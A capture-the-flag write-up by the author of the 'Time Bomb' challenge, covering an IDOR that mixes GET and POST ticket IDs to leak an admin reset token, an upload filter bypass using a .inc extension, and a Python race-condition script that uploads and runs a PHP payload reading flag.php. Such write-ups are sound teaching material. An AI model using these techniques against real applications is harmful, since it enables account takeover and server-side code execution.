Time Bomb ASC WarGames Challenge
Hello, I’m Mostafa Elguerdawi, the creator of the Time Bomb challenge featured in ASC War Games 2025. In this write-up, I will walk you through the challenge design, intended solution path, and key techniques required to solve it.
After accessing the application, you’ll find two main pages: Login and Signup.
After creating a new user and being redirected to the main page, it becomes clear that the application is a support system offering two primary functions: Submit Ticket and View Ticket.
After creating a new ticket and attempting to view it, you’ll notice that the application retrieves tickets based on their ID
Attempting a basic IDOR attack does not work, as the application responds with “Access Denied”.
The POST request returns the message “Missing or invalid ticket ID” without indicating any error related to the request method itself.
From the response, we can infer that the server expects a ticket ID to be provided as a GET parameter.
We still receive an “Access Denied” message, but it’s now evident that the application checks the ticket ID provided via a GET parameter.
We provide our own ticket ID as a GET parameter, and the target ticket ID the one we want to access as a POST parameter.
The ticket contains a message from the Super Admin to an Admin, which includes the Admin’s password reset token.
After accessing the discovered URL, we found that the Admin’s password was exposed there.
After logging in as the Admin user, we gain access to the Admin Panel.
The Admin Panel provides two functions: Upload a Plugin and Run a Plugin.
After attempting to upload a PHP file, we received the following error message:
PHP files are not allowed.
After testing various file extensions, we discovered that files with the .inc extension are accepted.
The system function is filtered and cannot be used.
After testing several functions, we found that the readfile() function is allowed and can be used.
The uploaded file was saved with a random name. After copying the filename, we navigated to /run_plugin.php to execute it.
Upon execution, the server responded with: “Failed to read plugin code.
When accessing the file’s expected location, we found that it was not present.
This indicates that the file was removed quickly before we could access it.
We attempted a race condition by uploading the file and trying to access it simultaneously. Unfortunately, this approach failed because the application renames the uploaded file to a random name, making it impossible to predict or access it in time using Burp Suite.
We developed a Python script that uploads the file, extracts the randomly generated filename using regex, and then executes it via the Run Plugin page.
import requests
import re
# Target configuration
base_url = "http://34.9.3.251:8888"
upload_url = f"{base_url}/plugin_upload.php"
run_url = f"{base_url}/run_plugin.php"
file_path = "shell.inc"
# Your PHP session ID if required
cookies = {
"PHPSESSID": "e145157b30c24e8b9be15fafc3d7c955"
}
# Step 1: Upload the file
files = {
"file": ("shell.inc", "<?readfile('flag.php')?>", "application/octet-stream")
}
headers = {
"Origin": base_url,
"Referer": upload_url,
"User-Agent": "Mozilla/5.0",
}
print("[*] Uploading file...")
response = requests.post(upload_url, files=files, headers=headers, cookies=cookies)
# Step 2: Extract the filename from response
match = re.search(r"Uploaded as:\s*([a-z0-9]+\.inc)", response.text)
if not match:
print("[!] Failed to extract filename from response.")
print(response.text)
exit()
uploaded_filename = match.group(1)
print(f"[+] File uploaded as: {uploaded_filename}")
# Step 3: Run the uploaded plugin
run_response = requests.get(f"{run_url}?name={uploaded_filename}", cookies=cookies, headers=headers)
print("[*] Response from plugin execution:")
print(run_response.text)The exploit worked successfully, and we retrieved the flag.
